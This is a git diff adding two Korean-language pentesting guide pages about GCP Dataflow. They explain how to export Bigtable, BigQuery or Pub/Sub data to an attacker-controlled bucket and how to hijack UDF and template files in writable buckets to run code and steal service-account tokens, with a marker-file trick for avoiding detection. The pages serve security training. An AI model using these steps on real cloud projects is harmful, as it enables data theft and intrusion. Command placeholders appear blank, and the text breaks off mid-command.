diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-dataflow-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-dataflow-post-exploitation.md new file mode 100644 index 000000000..43e2767c9 --- /dev/null +++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-dataflow-post-exploitation.md @@ -0,0 +1,53 @@ +# GCP - Dataflow 사후 침투 + +{{#include ../../../banners/hacktricks-training.md}} + +## Dataflow + +Dataflow에 대한 자세한 정보는 다음을 확인하세요: + +{{#ref}} +../gcp-services/gcp-dataflow-enum.md +{{#endref}} + +### Dataflow를 사용하여 다른 서비스의 데이터를 유출하는 방법 + +**권한:** `dataflow.jobs.create`, `resourcemanager.projects.get`, `iam.serviceAccounts.actAs` (소스 및 싱크에 접근 권한이 있는 SA에 대해) + +Dataflow 작업 생성 권한이 있으면 GCP Dataflow 템플릿을 사용해 Bigtable, BigQuery, Pub/Sub 등에서 데이터를 공격자가 제어하는 GCS 버킷으로 내보낼 수 있습니다. 이는 Dataflow 접근 권한을 얻었을 때 강력한 사후 침투 기법입니다 — 예: [Dataflow Rider](../gcp-privilege-escalation/gcp-dataflow-privesc.md) 권한 상승 (버킷 쓰기를 통한 파이프라인 탈취). + +> [!NOTE] +> 충분한 권한으로 소스를 읽고 싱크에 쓰기 가능한 서비스 계정에 대해 `iam.serviceAccounts.actAs` 권한이 필요합니다. 명시하지 않으면 기본적으로 Compute Engine default SA가 사용됩니다. + +#### Bigtable to GCS + +전체 패턴은 [GCP - Bigtable Post Exploitation](gcp-bigtable-post-exploitation.md#dump-rows-to-your-bucket) — "Dump rows to your bucket"을 참조하세요. 템플릿: `Cloud_Bigtable_to_GCS_Json`, `Cloud_Bigtable_to_GCS_Parquet`, `Cloud_Bigtable_to_GCS_SequenceFile`. + +
+ +공격자가 제어하는 버킷으로 Bigtable 내보내기 +```bash +gcloud dataflow jobs run \ +--gcs-location=gs://dataflow-templates-us-//Cloud_Bigtable_to_GCS_Json \ +--project= \ +--region= \ +--parameters=bigtableProjectId=,bigtableInstanceId=,bigtableTableId=,filenamePrefix=,outputDirectory=gs:///raw-json/ \ +--staging-location=gs:///staging/ +``` +
+ +#### BigQuery to GCS + +Dataflow 템플릿을 사용하면 BigQuery 데이터를 내보낼 수 있습니다. 대상 포맷(JSON, Avro 등)에 맞는 템플릿을 사용하고 출력 경로를 여러분의 버킷으로 지정하세요. + +#### Pub/Sub and streaming sources + +스트리밍 파이프라인은 Pub/Sub(또는 다른 소스)에서 읽어 GCS로 쓸 수 있습니다. 대상 Pub/Sub 구독을 읽어 여러분이 제어하는 버킷으로 쓰는 템플릿으로 작업을 실행하세요. + +## 참고 자료 + +- [Dataflow templates](https://cloud.google.com/dataflow/docs/guides/templates/provided-templates) +- [Control access with IAM (Dataflow)](https://cloud.google.com/dataflow/docs/concepts/security-and-permissions) +- [GCP - Bigtable Post Exploitation](gcp-bigtable-post-exploitation.md) + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataflow-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataflow-privesc.md new file mode 100644 index 000000000..ea7902b95 --- /dev/null +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataflow-privesc.md @@ -0,0 +1,172 @@ +# GCP - Dataflow Privilege Escalation + +{{#include ../../../banners/hacktricks-training.md}} + +## Dataflow + +{{#ref}} +../gcp-services/gcp-dataflow-enum.md +{{#endref}} + +### `storage.objects.create`, `storage.objects.get`, `storage.objects.update` + +Dataflow는 GCS에 저장된 UDFs 및 job template YAML의 무결성을 검증하지 않습니다. +버킷에 대한 쓰기 권한이 있으면 이러한 파일을 덮어써서 코드 주입, 워커에서의 코드 실행, 서비스 계정 토큰 탈취 또는 데이터 처리 변경이 가능합니다. +배치 및 스트리밍 파이프라인 작업 모두 이 공격의 대상이 될 수 있습니다. 파이프라인에서 이 공격을 실행하려면 작업이 실행되기 전에, 작업 워커가 생성되기 전 초기 몇 분 동안(또는 autoscaling으로 인해 새로운 워커가 스핀업되기 전 작업이 실행되는 동안) UDFs/templates를 교체해야 합니다. + +**Attack vectors:** +- **UDF hijacking:** 파이프라인에서 참조되고 고객 관리 버킷에 저장된 Python (`.py`) 및 JS (`.js`) UDFs +- **Job template hijacking:** 고객 관리 버킷에 저장된 커스텀 YAML 파이프라인 정의 + + +> [!WARNING] +> **Run-once-per-worker trick:** Dataflow UDFs 및 template callables는 **per row/line** 단위로 호출됩니다. 조율 없이 exfiltration 또는 token theft를 시도하면 수천 번 실행되어 노이즈, rate limiting 및 탐지를 유발합니다. **file-based coordination** 패턴을 사용하세요: 시작 시 마커 파일(예: `/tmp/pwnd.txt`)의 존재를 확인하고, 존재하면 악성 코드를 건너뛰며, 존재하지 않으면 페이로드를 실행하고 파일을 생성합니다. 이렇게 하면 페이로드는 **once per worker**로 실행되고, per line으로 여러 번 실행되는 것을 방지합니다. + + +#### Direct exploitation via gcloud CLI + +1. Enumerate Dataflow jobs and locate the template/UDF GCS paths: + +
+ +작업을 나열하고 describe로 template 경로, staging 위치, 및 UDF 참조를 확인 +```bash +# List jobs (optionally filter by region) +gcloud dataflow jobs list --region= +gcloud dataflow jobs list --project= + +# Describe a job to get template GCS path, staging location, and any UDF/template references +gcloud dataflow jobs describe --region= --full --format="yaml" +# Look for: currentState, createTime, jobMetadata, type (JOB_TYPE_STREAMING or JOB_TYPE_BATCH) +# Pipeline options often include: tempLocation, stagingLocation, templateLocation, or flexTemplateGcsPath +``` +
+ +2. GCS에서 원본 UDF 또는 작업 템플릿을 다운로드합니다: + +
+ +버킷에서 UDF 파일 또는 YAML 템플릿 다운로드 +```bash +# If job references a UDF at gs://bucket/path/to/udf.py +gcloud storage cp gs:////.py ./udf_original.py + +# Or for a YAML job template +gcloud storage cp gs:////